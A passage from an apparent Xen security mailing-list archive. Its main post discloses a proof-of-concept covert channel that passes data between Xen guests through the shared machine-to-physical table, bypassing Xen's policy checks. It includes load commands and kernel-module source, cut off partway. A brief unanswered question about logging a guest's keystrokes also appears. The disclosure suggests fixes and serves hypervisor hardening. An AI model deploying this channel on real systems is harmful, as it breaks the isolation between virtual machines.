&lt;br&gt;&lt;br&gt;Joe
&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=19960246&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/tboot-backwards-compatiblity-with-Xen-tp19960246p19960246.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-19523086</id>
	<title>how to log keyboard events of domainU?</title>
	<published>2008-09-16T17:02:12Z</published>
	<updated>2008-09-16T17:02:12Z</updated>
	<author>
		<name>lulab</name>
	</author>
	<content type="html">hi, Sorry to bother you.
&lt;br&gt;I want to know how to log keyboard events of a domainU.
&lt;br&gt;thanks
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/how-to-log-keyboard-events-of-domainU--tp19523086p19523086.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18616011</id>
	<title>PoC of Covert Channel</title>
	<published>2008-07-23T10:19:20Z</published>
	<updated>2008-07-23T10:19:20Z</updated>
	<author>
		<name>Mickaël Salaün</name>
	</author>
	<content type="html">Hi all,
&lt;br&gt;I created a proof of concept to communicate between guests (inside
&lt;br&gt;dom0 or domU) in a Xen environment. You need to have kernel rights
&lt;br&gt;(hypercalls are needed).
&lt;br&gt;It use the machine-to-physical table to store informations. This table
&lt;br&gt;is readable for all guests and writable for the part's guest. The
&lt;br&gt;principle is simple: write a tag and your data instead of addresses.
&lt;br&gt;Other guests can read what you wrote and extract data. An half-duplex
&lt;br&gt;channel can be created to share information between OS (Linux 2.6
&lt;br&gt;x86-32 for now).
&lt;br&gt;&lt;br&gt;This PoC is not a new idea[1] but a practical issue. This one bypass
&lt;br&gt;the Xen Policy checks as knew by developers[2].
&lt;br&gt;&lt;br&gt;The machine-to-physical table is really good for the performance
&lt;br&gt;mapping but it would be a good idea to have one table for each guest
&lt;br&gt;and protect it. I think it is not a big problem, it can be fast
&lt;br&gt;(memory size and switch time). Another solution is to use a full
&lt;br&gt;shadow page tables, but with a lower speed if it is a software
&lt;br&gt;translation. If it is done like this, my PoC will be unusable. It will
&lt;br&gt;also be good to prevent other guests to read the table and infer (with
&lt;br&gt;Xen interrupts) a (basic) map of the physically mapped memory.
&lt;br&gt;&lt;br&gt;The code is a device driver who create /dev/xencc. The communication
&lt;br&gt;protocol is based on tags. You need a different tag for each guest
&lt;br&gt;(look at the source and change it for the second guest). For now, you
&lt;br&gt;can only communicate between two guests. If you have not udev install
&lt;br&gt;on your system, the device will not be created when you insert the
&lt;br&gt;specific module[3]. In this case you need to create it by hand[4].
&lt;br&gt;You can write[5] and read[6]. If you are risky you can change the
&lt;br&gt;limit buffer size in the source. The channel bandwidth seams to be
&lt;br&gt;good because it use an hypercall (mmu_update) to copy an entire range
&lt;br&gt;of data at the same time. The drawback of this method is the consuming
&lt;br&gt;memory. We are allocating addresses instead of 4 bytes (in x86-32
&lt;br&gt;architecture), so we need to transmit data step-by-step. With a good
&lt;br&gt;scheduling you can have a quick channel.
&lt;br&gt;&lt;br&gt;This is an unstable version, use it with caution!
&lt;br&gt;&lt;br&gt;Best regards,
&lt;br&gt;Mickaël Salaün
&lt;br&gt;&lt;br&gt;&lt;br&gt;1. &lt;a href=&quot;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xense-devel&amp;i=003501c63303%245209cbd0%241c02000a%40Myong1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xense-devel&amp;i=003501c63303%245209cbd0%241c02000a%40Myong1&lt;/a&gt;&lt;br&gt;2. &lt;a href=&quot;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xen-devel&amp;i=39CC97884CA19A4D8D6296FE94357BCB019EB0B2%40swsmsx404&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xen-devel&amp;i=39CC97884CA19A4D8D6296FE94357BCB019EB0B2%40swsmsx404&lt;/a&gt;&lt;br&gt;3. insmod xencc.ko
&lt;br&gt;4. mknod /dev/xencc c `grep misc /proc/devices | awk '{print $1}'`
&lt;br&gt;`grep xencc /proc/misc | awk '{print $1}'`
&lt;br&gt;5. echo your msg &amp;gt; /dev/xencc
&lt;br&gt;6. dd if=/dev/xencc count=1
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;&lt;tt&gt;[xencc.c]&lt;/tt&gt;&lt;br /&gt;&lt;hr align=&quot;left&quot; width=&quot;300&quot; /&gt;&lt;tt&gt;#include &amp;lt;linux/module.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/miscdevice.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/uaccess.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/mm.h&amp;gt;
&lt;br&gt;&lt;br&gt;/*
&lt;br&gt;XenCC v0.1 (07/2008)
&lt;br&gt;&lt;br&gt;Copyright (C) 2008 &amp;nbsp;MickaÃ«l SalaÃ¼n
&lt;br&gt;&lt;br&gt;This program is free software: you can redistribute it and/or modify
&lt;br&gt;it under the terms of the GNU General Public License as published by
&lt;br&gt;the Free Software Foundation, either version 3 of the License, or
&lt;br&gt;(at your option) any later version.
&lt;br&gt;&lt;br&gt;This program is distributed in the hope that it will be useful,
&lt;br&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of
&lt;br&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. &amp;nbsp;See the
&lt;br&gt;GNU General Public License for more details.
&lt;br&gt;&lt;br&gt;You should have received a copy of the GNU General Public License
&lt;br&gt;along with this program. &amp;nbsp;If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.
&lt;br&gt;*/
&lt;br&gt;&lt;br&gt;&lt;br&gt;#define DEV_NAME &amp;quot;xencc&amp;quot;
&lt;br&gt;&lt;br&gt;MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
&lt;br&gt;MODULE_AUTHOR (&amp;quot;MickaÃ«l SalaÃ¼n&amp;quot;);
&lt;br&gt;MODULE_DESCRIPTION (&amp;quot;Create /dev/&amp;quot; DEV_NAME &amp;quot; to communicate with an other guest through a Xen covert channel.&amp;quot;);
&lt;br&gt;&lt;br&gt;&lt;br&gt;// comment this for the second guest !
&lt;br&gt;#define XENCC_ME_FIRST
&lt;br&gt;&lt;br&gt;// better with @ &amp;gt; PAGE_SHIFT bits (but not tactful)
&lt;br&gt;#define XENCC_TAGS_1 {123456, 13641, 1616}
&lt;br&gt;#define XENCC_TAGS_2 {151651, 1416, 469564}
&lt;br&gt;// same dom (test):
&lt;br&gt;//#define XENCC_TAGS_2 XENCC_TAGS_1
&lt;br&gt;&lt;br&gt;#ifdef XENCC_ME_FIRST
&lt;br&gt;#define XENCC_TAGS_A XENCC_TAGS_1
&lt;br&gt;#define XENCC_TAGS_B XENCC_TAGS_2
&lt;br&gt;#define XENCC_ME 1
&lt;br&gt;#define XENCC_OTH 2
&lt;br&gt;#else
&lt;br&gt;#define XENCC_TAGS_A XENCC_TAGS_2
&lt;br&gt;#define XENCC_TAGS_B XENCC_TAGS_1
&lt;br&gt;#define XENCC_ME 2
&lt;br&gt;#define XENCC_OTH 1
&lt;br&gt;#endif
&lt;br&gt;&lt;br&gt;#define XENCC_DATA_SIZE 256
&lt;br&gt;&lt;br&gt;#define XENCC_VALINIT 0
&lt;br&gt;&lt;br&gt;#define MFN_START 0
&lt;br&gt;#define MFN_END 0x00400000 // 4Mo = 2^22
&lt;br&gt;&lt;br&gt;//#define MSG_TYPE_HEXA
&lt;br&gt;&lt;br&gt;#if defined(__i386__)
&lt;br&gt;#define ADDR_LENGTH sizeof(unsigned long)
&lt;br&gt;#else
&lt;br&gt;#error &amp;quot;Unsupported architecture&amp;quot;
&lt;br&gt;#endif
&lt;br&gt;&lt;br&gt;static unsigned char xencc_data[XENCC_DATA_SIZE] = &amp;quot;&amp;quot;;
&lt;br&gt;static unsigned int xencc_data_size;
&lt;br&gt;&lt;br&gt;static struct page *xencc_pages;
&lt;br&gt;static int xencc_pages_nb;
&lt;br&gt;&lt;br&gt;static void *mfn_old;
&lt;br&gt;static int mfn_old_size;
&lt;br&gt;&lt;br&gt;// other's tags
&lt;br&gt;static unsigned long pfn_oth_header_tag[] = XENCC_TAGS_A;
&lt;br&gt;#define PFN_OTH_HEADER_TAG_SIZE (sizeof(pfn_oth_header_tag) / ADDR_LENGTH)
&lt;br&gt;&lt;br&gt;// our's tags
&lt;br&gt;static unsigned long pfn_my_header_tag[] = XENCC_TAGS_B;
&lt;br&gt;#define PFN_MY_HEADER_TAG_SIZE (sizeof(pfn_my_header_tag) / ADDR_LENGTH)
&lt;br&gt;#define PFN_MY_HEADER_SIZE (1 + sizeof(pfn_my_header_tag) / ADDR_LENGTH)
&lt;br&gt;&lt;br&gt;#define DBG(...) printk(KERN_DEBUG DEV_NAME &amp;quot; &amp;quot; __VA_ARGS__);
&lt;br&gt;&lt;br&gt;&lt;br&gt;static int xencc_open(struct inode *inode, struct file *filp)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;open\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static int xencc_release(struct inode *inode, struct file *filp)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;release\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void *allocate_mfn(unsigned int nb_pages)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int order;
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *pt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(order = 0; nb_pages &amp;gt; 0; order++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; nb_pages &amp;gt;&amp;gt;= 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;order: %d\n&amp;quot;, order);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)alloc_pages(GFP_KERNEL | __GFP_REPEAT | __GFP_ZERO, order);
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages = (struct page *)pt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages_nb = order;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;alloc_pages: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)page_to_pfn((struct page *)pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(pt == NULL) // ?
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: page allocation failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return NULL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;page_to_pfn: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)pfn_to_mfn((unsigned long)pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;pfn_to_mfn: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; return pt;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void mfn_cc_clean(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int i, nb_success;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mmu_update_t upd[mfn_old_size];
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;clean\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(mfn_old_size != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn_old: %p\n&amp;quot;, mfn_old);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn_old_size: %d\n&amp;quot;, mfn_old_size);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i = 0; i &amp;lt; mfn_old_size; i++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].ptr = (((unsigned long)mfn_old + i) &amp;lt;&amp;lt; PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = XENCC_VALINIT;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; HYPERVISOR_mmu_update(upd, mfn_old_size, &amp;nb_success, DOMID_SELF);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(nb_success != mfn_old_size)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: clean failed (%d)\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__, nb_success);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mfn_old_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(xencc_pages_nb != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;free %p (%d)\n&amp;quot;, xencc_pages, xencc_pages_nb);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __free_pages(xencc_pages, xencc_pages_nb);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_pages_nb = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;// MFN Cover Channel Write
&lt;br&gt;static unsigned long *mfn_cc_write(unsigned char *data, unsigned long size)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int nb_success, i, j, max = PFN_MY_HEADER_SIZE + size / ADDR_LENGTH + ((size % ADDR_LENGTH) ? 1 : 0);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mmu_update_t upd[max];
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;write to guest %d\n&amp;quot;, XENCC_OTH);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_cc_clean();
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn = allocate_mfn(max);
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;allocate_mfn : %p\n&amp;quot;, mfn);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(i = 0; i &amp;lt; max; i++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].ptr = (((unsigned long)mfn + i) &amp;lt;&amp;lt; PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(i &amp;lt; PFN_MY_HEADER_TAG_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = pfn_my_header_tag[i];
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else if(i == PFN_MY_HEADER_TAG_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = size;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = 0; ///////
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(j = 0; j &amp;lt; ADDR_LENGTH &amp;&amp; (i - PFN_MY_HEADER_SIZE) * ADDR_LENGTH + j &amp;lt; size; j++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val += (data[(i - PFN_MY_HEADER_SIZE) * ADDR_LENGTH + j]) &amp;lt;&amp;lt; (j * 8); // little-endian
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;pfn%d: %08x -&amp;gt; %08x\n&amp;quot;, i, (unsigned int)upd[i].ptr &amp;&amp; !MMU_MACHPHYS_UPDATE, (unsigned int)upd[i].val);
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; HYPERVISOR_mmu_update(upd, max, &amp;nb_success, DOMID_SELF);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old = mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old_size = nb_success;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;nb_success: %d\n&amp;quot;, nb_success);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(nb_success != max)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return NULL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; return mfn;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;#define PFN_EXTRACT(pfn, nb) (unsigned char)(pfn &amp;gt;&amp;gt; (nb * 8))
&lt;br&gt;&lt;br&gt;static int pfn_tag_find(start_info_t *si)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; char find = 0, i;
&lt;br&gt;&amp;nbsp; &amp;nbsp; int ret = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; unsigned long mfn, pfn, end = MFN_END, size = 0, tag_id = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_data_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(mfn = MFN_START; mfn &amp;lt; end; mfn++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pfn = mfn_to_pfn(mfn);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(!find &amp;&amp; pfn == pfn_oth_header_tag[tag_id]) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn %p : %p (%d)\n&amp;quot;, (void *)mfn, (void *)pfn, (int)tag_id);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(tag_id == PFN_OTH_HEADER_TAG_SIZE - 1)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; find = 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tag_id++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch(find) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 0:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tag_id = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 1:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;tag trouvÃ© !\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; size = pfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; end = mfn + 1 + size / ADDR_LENGTH + ((size % ADDR_LENGTH) ? 1 : 0);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; find++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 2:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ret = 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(size &amp;gt;= ADDR_LENGTH)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;#ifdef MSG_TYPE_HEXA
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + ADDR_LENGTH * 4 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, &amp;quot;\\x%02x\\x%02x\\x%02x\\x%02x&amp;quot;, PFN_EXTRACT(pfn, 0), PFN_EXTRACT(pfn, 1), PFN_EXTRACT(pfn, 2), PFN_EXTRACT(pfn, 3));
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += ADDR_LENGTH * 4;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + ADDR_LENGTH &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *(unsigned long *)(xencc_data + xencc_data_size) = pfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += ADDR_LENGTH;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#endif
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; size -= ADDR_LENGTH;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i = 0; size &amp;gt; 0 &amp;&amp; i &amp;lt; ADDR_LENGTH; i++, size--)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;#ifdef MSG_TYPE_HEXA
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + 4 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
